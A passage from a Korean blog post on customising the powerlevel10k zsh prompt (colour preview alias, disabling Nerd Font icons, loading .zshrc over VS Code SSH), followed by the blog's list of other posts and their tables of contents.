-g POWERLEVEL9K_VCS_LOADING_BACKGROUND=8 

xterm-256 의 색 설정 값을 preview로 보려면 아래 명령어를 통해 알 수 있다.

for i in {0..255}; do print -Pn “%K{$i} %k%F{$i}${(l:3::0:)i}%f “ ${${(M)$((i%6)):#3}:+$’\n’}; done

해당 명령어를 외우는 것이 귀찮아서 alias 로 지정시켰다.

alias colorpreview='for i in {0..255}; do print -Pn “%K{$i} %k%F{$i}${(l:3::0:)i}%f “ ${${(M)$((i%6)):#3}:+$’\n’}; done'

alias 지정 후 colorpreview를 진행하면 256 색상에 대한 값들을 확인할 수 있다.

번외 : full_icon에서 none_icon 으로 바꾸는 법

해당 방법은 NerdFont와 같이 아이콘을 지원하는 폰트를 사용할 경우 따로 작업을 해주지 않아도 된다.

코딩을 하다보면 폰트 호환성 등의 문제로 아이콘이 깨져 보이는 현상이 있을 수 있다.

이때 .p10k.zsh 파일을 수정하는 것으로 아이콘을 보이지 않게끔 설정할 수 있다.

.p10k.zsh 파일을 연다.

POWERLEVEL9K_MODE 변수를 찾는다.

해당 변수는 아래와 같이 세팅이 되어 있을 것이다.

1  typeset -g POWERLEVEL9K_MODE=nerdfont-complete

아래 변수의 값을 바꾸어준다.

1  typeset -g POWERLEVEL9K_MODE=powerline

더이상 아이콘이 보이지 않는다.
그러나 추가적인 문제를 발견하였다.
.git path가 있는 디렉토리에 접근 시 아이콘 한개가 깨져 보이는 것을 추가로 확인…
1. 마찬가지로 .p10k.zsh 파일을 열어 POWERLEVEL9K_VCS_BRANCH_ICON 변수를 찾는다. 해당 변수는 아래와 같이 세팅이 되어 있을 것이다.
```
1  typeset -g POWERLEVEL9K_VCS_BRANCH_ICON='\uF126 ' 
```
2. 아래 변수의 값을 바꾸어준다.
```
1  typeset -g POWERLEVEL9K_VCS_BRANCH_ICON= 
```

최종결과

# Defines character set used by powerlevel10k. It's best to let `p10k configure` set it for you. # full icon # typeset -g POWERLEVEL9K_MODE=nerdfont-complete # none icon typeset -g POWERLEVEL9K_MODE=powerline # GIT BRANCH ICON ============================================================ # Branch icon. Set this parameter to '\UE0A0 ' for the popular Powerline branch icon. # full icon # typeset -g POWERLEVEL9K_VCS_BRANCH_ICON='\uF126 ' # none icon typeset -g POWERLEVEL9K_VCS_BRANCH_ICON= # Untracked files icon. It's really a question mark, your font isn't broken. # Change the value of this parameter to show a different icon. typeset -g POWERLEVEL9K_VCS_UNTRACKED_ICON='?' 

zshrc 파일 수정

vscode ssh 등으로 접속 시도 시 zsh 쉘을 새로 열때마다 .zshrc 를 자동으로 실행시키지 않아
.oh-my-zsh, p10k테마 등 여러 설정이 적용되지 않는 문제가 발생하였다.

/etc/zshrc 또는 /etc/zsh/zshrc 와 같이 /etc 경로에 zsh 실행 시 동작하는 zshrc 파일이 존재한다.

해당 파일을 찾아 맨 밑 줄에 아래 코드를 추가한다.

# Useful support for interacting with Terminal.app or other terminal programs if [ -r "/etc/zshrc_$TERM_PROGRAM" ]; then . "/etc/zshrc_$TERM_PROGRAM" else . "/etc/zshrc_default" fi 

만약 경로가 /etc/zshrc 가 아니라 /etc/zsh/zshrc 인 경우에는 아래 vi 명령어로 경로를 수정한다.

1 :%s#/etc/zshrc_#/etc/zsh/zshrc_#g

이후 /etc/zshrc_default 파일을 만들어 (경로가 /etc/zsh/zshrc인 경우에는 /etc/zsh/zshrc_default) 파일을 만들면 되시겠다.

/etc/zshrc_default 파일에는 아래 코드를 추가한다.

1 . $HOME/.zshrc

Iblee Blog

SQL Injection

목차

개요 (SQL Injection 이란?)

발생 원리

상세

상황 가정.

공격 방법

UNION SQL Injection

Error Based SQL Injection

UPDATEXML()

Blind SQL Injection

기타 공격 방법

방어 방법

1. Prepared Statement (파라미터 바인딩)

2. ORM (Object-Relational Mapping) 사용

3. 입력값 검증 (Validation)

4. 최소 권한 원칙 (Least Privilege)

5. 에러 메시지 숨기기

6. WAF (Web Application Firewall)

macOS에서 프로그램을 argument와 같이 실행시켜보자.

목차

개요

방법1 - 실패

방법2 - 성공

검색 대상에서 _argChrome.app 앱 제외

번외 (SSLKEYLOGFILE 환경변수 설정)

macOS 터미널 명령어를 통한 설정 정리

목차

macOS ssh 재시작

MacOS의 디폴트 프로그램 변경하기

사전찾기 (ctrl+cmd+d) 단축키 비활성화

충전 없이 클램쉘 활성화

키 반복하기

Finder 숨긴 디렉토리를 항상 보이게 하기

dock 애니메이션 대기시간 제거

dock 대기시간 복원

dock을 완전히 없애기

.DS_Store 파일 제거 및 더 이상 생성되지 않도록 하기

plist vi로 보기

프로그램 실행 시 argument 추가하여 실행시키기

ssh ppk 개인키 파일을 .pem 파일로 교체 (ppk 개인키 변환)

macOS 안되는 명령어

which

readlink -> greadlink

fallocate -> mkfile

CS HEAD

목차

컴퓨터 공학 기초

리눅스에서 C++ 함수를 C언어세서 사용하기

목차

개요

방법

1. 정적 라이브러리 (.a) 로 임포트

2. 동적 라이브러리 (.so) 로 임포트

참고

git manual

목차

Git

커밋 메시지 컨벤션

git config

Option

git username 설정

git email 설정

git editor 설정 (기본에디터는 nano)

git alias

Git 원격 저장소에서 삭제된 branch를 로컬 저장소에서 자동으로 지우기

git diff tool 변경

git ssh 명령어 설정

항상 현재 브랜치로 푸시시키기

git add

git mv

git rm

Option

git commit

Option

git push

Option

etc

git fetch